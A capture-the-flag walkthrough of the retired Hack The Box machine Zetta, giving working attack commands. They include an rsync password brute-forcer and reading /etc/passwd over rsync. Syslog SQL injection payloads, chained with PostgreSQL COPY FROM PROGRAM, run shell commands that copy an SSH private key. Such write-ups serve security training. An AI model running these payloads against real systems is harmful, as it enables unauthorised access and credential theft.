This post documents the complete walkthrough of Zetta, a retired vulnerable VM created by jkr, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
- Background
- Information Gathering
- Low-Privilege Shell
- Privilege Escalation
- Final Privilege Escalation
Background
Zetta is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-09-01 14:10:56 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 21/tcp on 10.10.10.156
Discovered open port 22/tcp on 10.10.10.156
Discovered open port 80/tcp on 10.10.10.156
Nothing unusual with these ports. Let’s do one better with nmap scanning the discovered ports to establish their services.
# nmap -n -v -Pn -p21,22,80 -A --reason -oN nmap.txt 10.10.10.156
...
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 Pure-FTPd
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 2d:82:60:c1:8c:8d:39:d2:fc:8b:99:5c:a2:47:f0:b0 (RSA)
| 256 1f:1b:0e:9a:91:b1:10:5f:75:20:9b:a0:8e:fd:e4:c1 (ECDSA)
|_ 256 b5:0c:a1:2c:1c:71:dd:88:a4:28:e0:89:c9:a3:a0:ab (ED25519)
80/tcp open http syn-ack ttl 63 nginx
| http-methods:
|_ Supported Methods: HEAD
|_http-title: Ze::a Share
Seems pretty water-tight to me. Notice that only the HEAD method is allowed? Something for us keep in mind maybe? Anyways, here’s how the site looks like.
Other than the little JavaScript that generates a 32-character random string for both username and password to the FTP, there’s nothing interesting to explore.
RFC 2428: FTP Extensions for IPv6 and NATs
Upon connection to the FTP, I was greeted with the following message.
There was also a mention of FXP and RFC 2428 in one of service catalog.
We can use the EPRT command to expose it’s IPv6 address. The EPRT command specifies an extended address for the data connection. We can simply use ncat to listen for incoming IPv6 connections to capture the server’s real IPv6 address. This is the IPv6 address of my HTB VPN interface.
The server’s IPv6 address must also start with dead:beef. 
Specify 2 (IPv6) as the address family and my IPv6 address as the extended address, and finally the port number I’m listening at (1234).
Sending raw FTP commands to the server
IPv6 address captured!
The IPv6 address of the server is dead:beef::250:56ff:feb9:33e.
IPv6-only Service
Armed with the IPv6 address of the server, we can run another nmap scan, this time only for IPv6 services.
# nmap -6 -n -v -Pn -p- -A --reason -oN nmap6.txt dead:beef::250:56ff:feb9:33e
...
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 Pure-FTPd
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 2d:82:60:c1:8c:8d:39:d2:fc:8b:99:5c:a2:47:f0:b0 (RSA)
| 256 1f:1b:0e:9a:91:b1:10:5f:75:20:9b:a0:8e:fd:e4:c1 (ECDSA)
|_ 256 b5:0c:a1:2c:1c:71:dd:88:a4:28:e0:89:c9:a3:a0:ab (ED25519)
80/tcp open http syn-ack ttl 63 nginx
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Ze::a Share
8730/tcp open rsync syn-ack ttl 63 (protocol version 31)
Interesting. There’s rsyncd listening at 8730/tcp.
rsync It to Me Baby
Time to check it out.
Notice that it has almost all the modules corresponding to various directories, except for etc? Let’s see what happens.
Jackpot! As usual, let’s grab a copy of /etc/passwd.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
roy:x:1000:1000:roy,,,:/home/roy:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/sbin/nologin
postgres:x:106:113:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
OK. We have only one user, roy. With that in mind, let's check out rsyncd.conf to see what other goodies we can find.
# Syncable home directory for .dot file sync for me.
# NOTE: Need to get this into GitHub repository and use git for sync.
[home_roy]
path = /home/roy
read only = no
# Authenticate user for security reasons.
uid = roy
gid = roy
auth users = roy
secrets file = /etc/rsyncd.secrets
# Hide home module so that no one tries to access it.
list = false
Bam. Another hidden rsync module. Looks like authentication is required. Towards that end, I wrote a simple bash script, using rsync as the main driver to brute-force the password. Combined the script with GNU Parallel, you get a multi-threaded brute-forcer of sorts.
#!/bin/bash
HOST="dead:beef::250:56ff:feb9:a4c5"
PORT=8730
USER=roy
MOD="home_roy"
PASS=$1
TEMP=$(mktemp -u)
echo -n "$PASS" > $TEMP; chmod 600 $TEMP
function die() {
killall perl &>/dev/null
}
if rsync -6 --password-file=$TEMP rsync://$USER@[$HOST]:$PORT/$MOD &>/dev/null; then
echo "[*] Password: $PASS"
echo "$PASS" > pwd; chmod 600 pwd
die
fi
# clean up
rm -rf $TEMP
Let's give it a shot.
Of course! computer sounds like a password that Roy would use.
Woohoo. The user.txt is here.
Low-Privilege Shell
Let’s see if we can copy a RSA public key we control to /home/roy/.ssh/authorized_keys.
# rsync -6 --password-file=pwd authorized_keys rsync://[email protected][dead:beef::250:56ff:feb9:33e]:8730/home_roy/.ssh/
Perfect.
Privilege Escalation
During enumeration of roy's account, I noticed a number of TuDu entries, particularly one that purportedly writes syslog entries to PostgreSQL database instead.
And another one that talks about password security.
On top of that, there are a number of .git local repositories as well.
There was something interesting with the rsyslog commits.
The latest commit talks about adding/adapting template from the manual. If the commit message is to be trusted, then SQL injection might be possible. Also, notice that option.sql="on" is set? According to the documention,
PostgreSQL Dollar-Quoting
“PostgreSQL has a feature called dollar-quoting, which allows you to include a body of text without escaping the single quotes.” Exactly what we need! To send syslog messages, we need logger as well.
SQL Injection through Syslog
Looking at the template SQL statement, it's possible to inject SQL statements, through the syslog message field, %msg%.
INSERT INTO syslog_lines (message, devicereportedtime) values ('%msg%', '%timereported%')
Let's try this.
$ logger -s -p local7.info "', now()); DROP TABLE IF EXISTS moss; CREATE TABLE moss(t TEXT); INSERT INTO moss(t) VALUES (\$\$hello\$\$); COPY moss(t) TO \$here\$/tmp/moss\$here\$; -- -"
Awesome. It works!
CVE-2019-9193 - It’s NOT a Security Vulnerability
In PostgreSQL 9.3 through 11.2, the “COPY TO/FROM PROGRAM” function allows superusers and users in the ‘pg_execute_server_program’ group to execute arbitrary code in the context of the database’s operating system user.
Armed with the previous insight, we can probably make use of CVE-2019-9193 to execute commands. Let's see if this version is “vulnerable”. 
$ logger -s -p local7.info "', now()); DROP TABLE IF EXISTS cmd; CREATE TABLE cmd(out TEXT); COPY cmd FROM PROGRAM \$cmd\$rm /tmp/moss\$cmd\$; --"
Bam. Long story short, this postgres account left the SSH private key in the home directory /var/lib/postgresql. Let’s copy the key to /tmp for easy access.
$ logger -s -p local7.info "', now()); DROP TABLE IF EXISTS cmd; CREATE TABLE cmd(out TEXT); COPY cmd FROM PROGRAM \$cmd\$cp /var/lib/postgresql/.ssh/id_rsa /tmp/sshh; chmod 666 /tmp/sshh\$cmd\$; --"
Final Privilege Escalation
Armed with the SSH private key of postgres, I can simply log in to the account through SSH.
During enumeration of the postgres account, I notice its password lying around in the .psql_history.
$ cat .psql_history
CREATE DATABASE syslog;
\c syslog
CREATE TABLE syslog_lines ( ID serial not null primary key, CustomerID bigint, ReceivedAt timestamp without time zone NULL, DeviceReportedTime timestamp without time zone NULL, Facility smallint NULL, Priority smallint NULL, FromHost varchar(60) NULL, Message text, NTSeverity int NULL, Importance int NULL, EventSource varchar(60), EventUser varchar(60) NULL, EventCategory int NULL, EventID int NULL, EventBinaryData text NULL, MaxAvailable int NULL, CurrUsage int NULL, MinUsage int NULL, MaxUsage int NULL, InfoUnitID int NULL , SysLogTag varchar(60), EventLogType varchar(60), GenericFileName VarChar(60), SystemID int NULL);
\d syslog_lines
ALTER USER postgres WITH PASSWORD '[email protected]';
Recall the TuDu entry about the password scheme? Could this be root's password as well?
Indeed. The password is [email protected]! Well, with that, getting root.txt is easy.
